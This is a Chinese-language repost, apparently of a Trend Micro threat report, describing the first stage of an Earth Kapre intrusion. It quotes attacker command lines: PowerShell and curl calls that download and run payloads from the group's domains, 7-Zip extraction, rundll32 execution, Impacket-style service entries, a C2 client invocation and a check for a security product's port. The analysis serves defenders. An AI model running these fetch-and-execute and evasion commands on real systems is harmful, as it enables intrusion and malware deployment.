Earth Kapre组织网络入侵事件调查(上)

admin 2024年3月28日01:17:38评论2 views字数 6149阅读20分29秒阅读模式

Earth Kapre组织网络入侵事件调查(上)

独/角/鲸/安/全

Trend Micro MDR团队揭露了Earth Kapre组织的网络钓鱼活动,该组织针对多国实体发动攻击,通过带有恶意附件的钓鱼邮件传播感染。这些邮件一旦被打开,就会触发计划任务,实现恶意软件的持久性,并秘密收集传输敏感数据至C&C服务器。在此次事件中,攻击者利用了合法工具PowerShell和curl进行后续下载器的获取,并使用程序兼容性助手服务(pcalua.exe)执行恶意命令,以规避检测。

一、初步调查

Earth Kapre组织网络入侵事件调查(上)
Earth Kapre组织网络入侵事件调查(上)

Tr威胁狩猎团队最初检测到在

`C:\Windows\System32\ms.dll`创建了一个可疑文件(被Trend Micro检测为Trojan.Win64.CRUDLER.A)。进一步调查揭示了使用以下URL下载文件的情况:

  • - [http://preston[.]melaniebest[.]com/ms/ms.tmp]
  • - [https://preslive[.]cn[.]alphastoned.pro/ms/msa.tmp]
  • - [https://unipreg[.]tumsun[.]com/ms/psa.tmp]
  • - [http://report[.]hkieca[.]com/ms/msa.tmp]

在检查文件创建时的后,发现威胁行为者执行了以下操作:

  • 我们观察到初始命令使用PowerShell从URL [http://preston[.]melaniebest[.]com/ms/curl.tmp](http://preston%5B.%5Dmelaniebest%5D%5B.%5Dcom/ms/curl.tmp)下载文件(curl.tmp)并将其保存在`C:\Windows\System32\`目录。为了本次分析的便利,我们将使用这个域名,但相同的分析也适用于前面提到的URL列表中的其他域名。Curl.exe是一个命令行工具和库,设计用于与URL进行高效的数据传输。虽然它是一个合法的工具,但它也可以被威胁行为者滥用于恶意目的。

    %COMSPEC% /Q /c echo powershell -c "iwr -Uri http://preston[.]melaniebest[.]com/ms/curl.tmp -OutFile C:WindowsSystem32curl.exe -UseBasicParsing" > \127.0.0.1C$dvPqyh 2>&1 > %TEMP%KzIMnc.bat & %COMSPEC% /Q /c %TEMP%KzIMnc.bat & %COMSPEC% /Q /c del %TEMP%KzIMnc.bat
  • 接下来,7za.tmp被下载并保存为7za.exe在目录中。7za.exe是7-Zip的一个副本,7-Zip是一个流行的开源文件压缩和归档工具。

    C:Windowssystem32cmd.exe /Q /c echo curl -o C:WindowsSystem327za.exe http://preston[.]melaniebest[.]com/ms/7za.tmp > \127.0.0.1C$xWJhao 2>&1 > C:WindowsTEMPIAqJUm.bat & C:Windowssystem32cmd.exe /Q /c C:WindowsTEMPIAqJUm.bat & C:Windowssystem32cmd.exe /Q /c del C:WindowsTEMPIAqJUm.bat
  • 然后,Earth Kapre加载器使用相同的域名下载,并保存为ms.dll(尽管在某些机器上,使用的文件名是ps.dll)在目录中。威胁行为者使用echo(如前所述)并将输出到批处理文件中,这是一种常用的混淆技术。通过将命令回显到批处理文件中,他们可以动态生成和执行命令,这使得分析或检测恶意活动更加困难。使用临时批处理文件还允许任务自动化和更容易的安全监控规避。我们观察到威胁行为者随后删除了批处理文件以掩盖他们的踪迹。

    由于ms.tmp是一个归档文件,威胁行为者需要使用之前下载的7zip来通过密码“123”提取文件内容。

    C:Windowssystem32cmd.exe /Q /c echo curl -o C:WindowsSystem32ms.dll http://preston[.]melaniebest.com/ms/ms.tmp > \127.0.0.1C$tZpOKq 2>&1 > C:WindowsTEMPDFMPAa.bat & C:Windowssystem32cmd.exe /Q /c C:WindowsTEMPDFMPAa.bat & C:Windowssystem32cmd.exe /Q /c del C:WindowsTEMPDFMPAa.bat
    C:Windowssystem32cmd.exe /Q /c echo 7za.exe x -aoa -p123 C:WindowsTempms.tmp -o C:WindowsTemp > \127.0.0.1C$lgNMiK 2>&1 > C:WindowsTEMPBuWmUA.bat & C:Windowssystem32cmd.exe /Q /c C:WindowsTEMPBuWmUA.bat & C:Windowssystem32cmd.exe /Q /c del C:WindowsTEMPBuWmUA
  • 然后使用Rundll32.exe在机器上执行,然后执行ms.dll。在某些机器上,使用了ps.dll

    Python脚本被设计用于建立出站通信,并使用服务器消息块(SMB)通过端口445执行远程命令。在执行名为client.py的脚本时,一个外部IP地址198[.]252[.]101[.]86被作为命令行参数传递,暗示其可能作为C&C服务器的角色。

    "C:Users<username>AppDataRoamingMUIServicepythonw.exe" C:Users<username>AppDataRoamingMUIServicerpvclient.py --server-ip 198[.]252[.]101[.]86 --server-port 41808
    %COMSPEC% /Q /c echo rundll32.exe C:Windowssystem32ms.dll,ms > \127.0.0.1C$NoajCy 2>&1 > %TEMP%YdEcul.bat & %COMSPEC% /Q /c %TEMP%YdEcul.bat & %COMSPEC% /Q /c del %TEMP%YdEcul.bat
Earth Kapre组织网络入侵事件调查(上)

二、发现IMPACKET活动

Earth Kapre组织网络入侵事件调查(上)
Earth Kapre组织网络入侵事件调查(上)
Earth Kapre组织网络入侵事件调查(上)
Earth Kapre组织网络入侵事件调查(上)
Earth Kapre组织网络入侵事件调查(上)

我们在调查中识别出的命令行与Impacket的脚本非常相似,如下所示:

Registry root: 3Registry key: HKLMSYSTEMCurrentControlSetServicesaQpzRMnIkuRegistry value name: imagepathRegistry value data: %COMSPEC% /Q /c echo rundll32.exe C:Windowssystem32ms.dll,ms > \127.0.0.1C$NoajCy 2>&1 > %TEMP%YdEcul.bat & %COMSPEC% /Q /c %TEMP%YdEcul.bat & %COMSPEC% /Q /c del %TEMP%YdEcul.batRegistry value type: 2



Registry root: 3Registry key: HKLMSYSTEMCurrentControlSetServiceskPbzlGKCyORegistry value name: imagepathRegistry value data: %COMSPEC% /Q /c echo curl -o C:WindowsSystem32ms.dll http://preston.melaniebest.com/ms/ms.tmp > \127.0.0.1C$tZpOKq 2>&1 > %TEMP%DFMPAa.bat & %COMSPEC% /Q /c %TEMP%DFMPAa.bat & %COMSPEC% /Q /c del %TEMP%DFMPAa.batRegistry value type: 2



Registry root: 3Registry key: HKLMSYSTEMCurrentControlSetServiceslzZqdAEwKPRegistry value name: imagepathRegistry value data: %COMSPEC% /Q /c echo curl -o C:WindowsSystem327za.exe http://preston.melaniebest.com/ms/7za.tmp > \127.0.0.1C$xWJhao 2>&1 > %TEMP%IAqJUm.bat & %COMSPEC% /Q /c %TEMP%IAqJUm.bat & %COMSPEC% /Q /c del %TEMP%IAqJUm.batRegistry value type: 2

我们发现了一个命令,似乎使用netstat来检查4119端口是否打开。这个命令的目的可能涉及收集与指定端口相关的网络连接信息,或者检查输出中的特定模式。端口4119是Trend Micro Deep Security Manager GUI和API端口,这表明威胁行为者可能在验证该机器上安全程序的存在。

Registry root: 3Registry key: HKLMSYSTEMCurrentControlSetServiceszOMISPlXbLRegistry value name: imagepathRegistry value data: %COMSPEC% /Q /c echo netstat -an | find "4119" > \127.0.0.1C$SspgqD 2>&1 > %TEMP%MjHubF.bat & %COMSPEC% /Q /c %TEMP%MjHubF.bat & %COMSPEC% /Q /c del %TEMP%MjHubF.batRegistry value type: 2
Earth Kapre组织网络入侵事件调查(上)

阅读小助手

关于动态链接库的搜索顺序的更多详细资料请参阅MSDN 。

三、滥用程序兼容性助手服务进行间接命令执行

PART 01

Earth Kapre组织网络入侵事件调查(上)
Earth Kapre组织网络入侵事件调查(上)

兼容性助手服务(pcalua.exe)

程序兼容性助手服务(pcalua.exe)是一个Windows服务,旨在识别和解决与旧程序的兼容性问题。对手可以利用这个工具作为替代的命令行解释器来执行命令并绕过安全限制。在这次调查中,威胁行为者使用这个工具来掩盖他们的活动。

Earth Kapre下载器已被分发到不同位置,并使用随机生成或混淆的文件名。以下是我们在调查中发现的一些具体例子:

C:Windowssystem32configsystemprofileAppDataLocalAppListgkcb92eb2f8982d93a.exe
C:Windowssystem32configsystemprofileAppDataLocalMicrosoftWindowsWininetgkcb92eb2f8982d93a.exe
C:Windowssystem32configsystemprofileAppDataLocalMicrosoftWindowsWininetsgef07b190e6e6d160.exe
C:Windowssystem32configsystemprofileAppDataLocalAppListsgef07b190e6e6d160.exe
C:Windowssystem32configsystemprofileAppDataLocalSubscriptionujb7238088847c09ed.exe
C:Users<username>AppDataLocalBrokerInfraSVRfik9562b2dec16c7ad6.exe
C:Users<username>AppDataLocalBrokerInfraizd9562b2dec16c7ad6.exe
C:Windowssystem32configsystemprofileAppDataLocalSysmainzyp14f2b5c5ecbb07d8.exe
C:Windowssystem32configsystemprofileAppDataLocaltw-pfdc-320c6-4e95qd.tmppj8434bb720ad953af.exe
C:Windowssystem32configsystemprofileAppDataLocaltw-pfdc-320c6-4e95qd.tmpkmjf1a1952febed5f77.exe
C:Windowssystem32configsystemprofileAppDataLocalMicrosoftWindowsDirectoryClientyff936ad712ca94fc9.exe
C:Windowssystem32configsystemprofileAppDataLocalD3DSCache85ceb3adf3f4542lva662fdf404f617d07.exe
C:Windowssystem32configsystemprofileAppDataLocalMicrosoftWindowsPRICache2630989932ogh0a430e919a35efd8.ex
C:Windowssystem32configsystemprofileAppDataLocalPlexComponentODNylob1c94b2421ca1d39.exe
C:Users<username>AppDataRoamingVirtualStoreChromeSY_Q05MQVAyMw==.exe

在下面的屏幕截图示例中,由pcalua.exe生成的文件gkcb92eb2f8982d93a.exe被观察到正在与preston[.]melaniebest[.]com建立连接,这个域名在前一节中已经讨论过。

Earth Kapre组织网络入侵事件调查(上)

为了确认网络连接的可用性,Earth Kapre下载器发送一个HTTP GET请求,目标是以下列表中随机选择的网络资源:

  • www.amazon.com
  • www.bing.com
  • duckduckgo.com
  • www.ebay.com
  • www.google.com
  • www.google.co.uk
  • www.microsoft.com
  • www.msn.com
  • ocsp.digicert.com
  • ocsp.pki.goog
  • ocsp.usertrust.com
  • openid.ladatap.com
  • www.reddit.com
  • unipreg.tumsun.com
  • www.wikipedia.org
  • x1.c.lencr.org
  • www.yahoo.com

通过分析获取的Earth Kapre下载器样本文件,我们已确认使用了InternetOpenA和InternetConnectA API函数。这些函数便于发送HTTP请求并验证网络连接的存在。

Earth Kapre组织网络入侵事件调查(上)

END

Earth Kapre组织网络入侵事件调查(上)

原文始发于微信公众号(独角鲸安全):Earth Kapre组织网络入侵事件调查(上)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月28日01:17:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Earth Kapre组织网络入侵事件调查(上)http://cn-sec.com/archives/2603524.html

发表评论

匿名网友 填写信息